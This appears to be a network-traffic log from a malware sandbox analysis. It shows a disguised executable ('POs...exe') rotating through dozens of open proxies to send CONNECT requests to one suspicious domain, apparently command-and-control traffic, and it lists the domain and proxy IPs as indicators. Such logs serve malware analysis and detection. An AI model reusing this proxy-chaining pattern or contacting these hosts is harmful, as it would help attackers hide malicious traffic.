1644	192.168.2.11	54726	68.71.249.153	48606	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:27.674925089 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1645	192.168.2.11	53893	91.134.140.160	5401	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:27.689718962 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:28.504487991 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:29.642014027 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:31.570003986 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:35.373476982 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:39.142028093 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:42.907332897 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1646	192.168.2.11	51230	54.37.196.189	8080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:27.691200018 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:30.829353094 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:33.938869953 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:39.938956022 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:51.985357046 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:04.079117060 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:16.094765902 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:19.563165903 CET	58	IN	HTTP/1.1 200 Connection established Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1647	192.168.2.11	55107	45.120.178.197	1080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:27.699753046 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1648	192.168.2.11	54905	165.227.104.122	29992	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:27.713788033 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:30.881656885 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1649	192.168.2.11	51279	159.223.71.71	59098	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:27.715468884 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:30.829469919 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:33.938862085 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:39.938968897 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:51.985356092 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:04.079153061 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:16.094763994 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1650	192.168.2.11	51283	85.193.93.73	3128	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:27.719495058 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:30.829415083 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:33.938863993 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:39.938968897 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:46.398612976 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1651	192.168.2.11	51354	103.90.227.244	3128	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:27.742153883 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:30.881781101 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:38.228626013 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1652	192.168.2.11	51429	23.225.72.125	3503	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:27.775799990 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:30.829477072 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:33.938885927 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:36.846872091 CET	39	IN	HTTP/1.1 200 Connection established
Mar 11, 2024 16:42:37.682040930 CET	39	IN	HTTP/1.1 200 Connection established
Mar 11, 2024 16:42:38.518071890 CET	39	IN	HTTP/1.1 200 Connection established
Mar 11, 2024 16:42:40.113950968 CET	39	IN	HTTP/1.1 200 Connection established
Mar 11, 2024 16:42:43.314012051 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1653	192.168.2.11	55108	125.122.26.242	1080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:27.809276104 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1654	192.168.2.11	51396	88.84.62.5	4153	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:27.817312002 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1655	192.168.2.11	51491	178.236.246.53	3128	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:27.820008039 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:30.829510927 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:52.538090944 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1656	192.168.2.11	54891	165.16.31.18	8080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:27.844324112 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1657	192.168.2.11	51395	115.240.163.31	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:27.871917963 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:30.881930113 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:33.876573086 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:39.986082077 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:52.079068899 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1658	192.168.2.11	54924	162.241.45.22	44931	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:27.873250961 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:30.881951094 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:33.876579046 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1659	192.168.2.11	55110	192.252.216.81	4145	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:27.877688885 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1660	192.168.2.11	55113	172.67.199.231	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:27.922715902 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:28.077821016 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:28 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1661	192.168.2.11	54131	72.49.49.11	31034	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:27.935851097 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1662	192.168.2.11	54917	161.97.163.52	31125	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:27.952096939 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:31.090714931 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:34.142462015 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:40.142188072 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:52.175338984 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1663	192.168.2.11	54964	43.129.228.46	7891	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:27.973850012 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:28.688925982 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1664	192.168.2.11	54975	189.240.60.169	9090	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:28.026115894 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:28.298849106 CET	72	IN	HTTP/1.1 200 Connection established Proxy-Agent: Fortinet-Proxy/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1665	192.168.2.11	53889	117.160.250.133	8899	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:28.031653881 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
